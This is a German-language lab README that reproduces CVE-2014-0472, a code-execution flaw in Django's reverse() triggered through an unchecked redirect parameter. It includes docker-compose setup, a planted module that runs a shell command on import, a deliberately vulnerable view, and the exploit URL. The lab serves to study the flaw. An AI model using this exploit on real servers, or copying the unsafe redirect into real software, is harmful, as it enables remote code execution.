
CVE-2014-0472 Django unerwartete Codeausführung mittels reverse()
Verwende
docker-compose up -d
Greife auf localhost:8083 zu
Referenz: https://www.djangoproject.com/weblog/2014/apr/21/security/
- Es sind eine oder mehrere Views vorhanden, die eine URL basierend auf Benutzereingaben erstellen (üblicherweise ein "next"-Parameter in einer Query-String, der angibt, wohin nach erfolgreichem Abschluss einer Aktion weitergeleitet werden soll).
- Einem Angreifer sind ein oder mehrere Module bekannt, die auf dem Python-Import-Pfad des Servers existieren und bei Import eine Codeausführung mit Nebenwirkungen durchführen.
In tests.py
def evil_function():
print("exploit successful")
os.system("echo > /tmp/`whoami` ")
return os.getuid()
evil = evil_function()
In views.py
def redirect_test(request):
page = request.GET.get('page', None)
if page is not None:
redirect(page)
return HttpResponse("OK")
Verwende die redirect-Funktion, um die bösartige Funktion aufzurufen.

Verwende den Exploit
http://your-ip:8083/example?page=app.tests.evil

Ausgenutzt
